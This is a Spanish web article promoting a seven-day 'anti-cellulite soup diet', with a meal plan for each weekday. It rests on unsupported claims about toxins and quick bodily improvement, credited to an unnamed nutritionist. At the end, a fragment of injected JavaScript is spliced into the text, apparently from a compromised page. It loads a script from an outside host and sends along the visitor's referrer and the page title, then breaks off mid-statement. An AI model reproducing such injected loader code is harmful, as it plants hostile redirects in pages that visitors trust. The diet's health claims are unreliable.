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La dieta anti-celulitis de la sopa

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Con el tiempo han ido creciendo notablemente las dietas que proponen, como alimento base, la sopa. Así, no sorprende descubrir la cantidad y variedad de sistemas nutricionales con esa comida haciendo de núcleo: en este caso, para seguir dicha línea, presentamos la dieta denominada “de la sopa anti-celulitis” que, tal como su nombre lo indica, es ideal para el sexo femenino.

“La celulitis es simplemente, y trágicamente para muchas, una acumulación de tejido adiposo en determinadas zonas del cuerpo; un conjunto de nódulos adiposos de grasa, agua y toxinas. El ejercicio es una manera de intentar erradicar estos problemas pero la alimentación también puede influir aunque, naturalmente, en otros niveles. Sucede que, cuanto mejor sea la alimentación, menos serán las cantidades de grasa sobrante y, por ende, se reducirán las posibilidades de que se cree tal acumulación. La dieta anti-celulitis de la sopa, en ese contexto, representa una buena opción si queremos tener todos los flancos cubiertos” dice un profesional de la nutrición y brinda, así, garantía de confianza para llevar a cabo este saludable plan.

Un plan de siete días con esta dieta y tu cuerpo mejorará notablemente, ¿te animas a probar?.

Lunes

Mañana: zumo de naranja; rebanada de pan integral; taza de café descafeinado

Colación: vaso de leche descremada.

Mediodía: plato de sopa; ensalada pequeña de tomate, pepino e hinojo con aceite de oliva; rebanada de pan integral.

Tarde: licuado de fruta.

Noche: plato de sopa; cien gramos de queso de soja; rebanada de pan integral.

Martes

Mañana: zumo de tomate; huevo tibio; rebanada de pan integral.

Colación: manzana al horno.

Mediodía: plato de sopa; ensalada de lechuga y tomate; rebanada de pan integral.

Tarde: vaso de leche descremada.

Noche: plato de sopa; porción de legumbres con aceite de oliva; rebanada de pan integral; rodaja de piña.

Miércoles

Mañana: zumo de naranja; té con limón.

Colación: dos ciruelas pasas cocidas.

Mediodía: plato de sopa; dos huevos cocidos; rebanada de pan integral

Tarde: rodaja de piña.

Noche: plato de sopa; doscientos gramos de pescado hervido; ensalada de frutas.

Jueves

Mañana: vaso de leche descremada; una porción de cereales dietéticos con una cucharadita de miel.

Colación: dos frutas de la estación.

Mediodía: un plato de sopa; una papa cocida con aceite y limón; rebanada de pan integral

Tarde: vaso de leche descremada.

Noche: plato de sopa; porción de calabazas cocidas; rebanada de pan integral.

Viernes

Mañana: yogur descremado; fruta fresca picada.

Colación: licuado de fruta.

Mediodía: plato de sopa; ensalada pequeña de espinacas crudas con yogur.

Tarde: manzana

Noche: plato de sopa; muslo de pollo al vapor con aceite y limón; rebanada de pan integral.

Sábados y domingos: repetir cualquier plan utilizado para los días anteriores.s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; } else {

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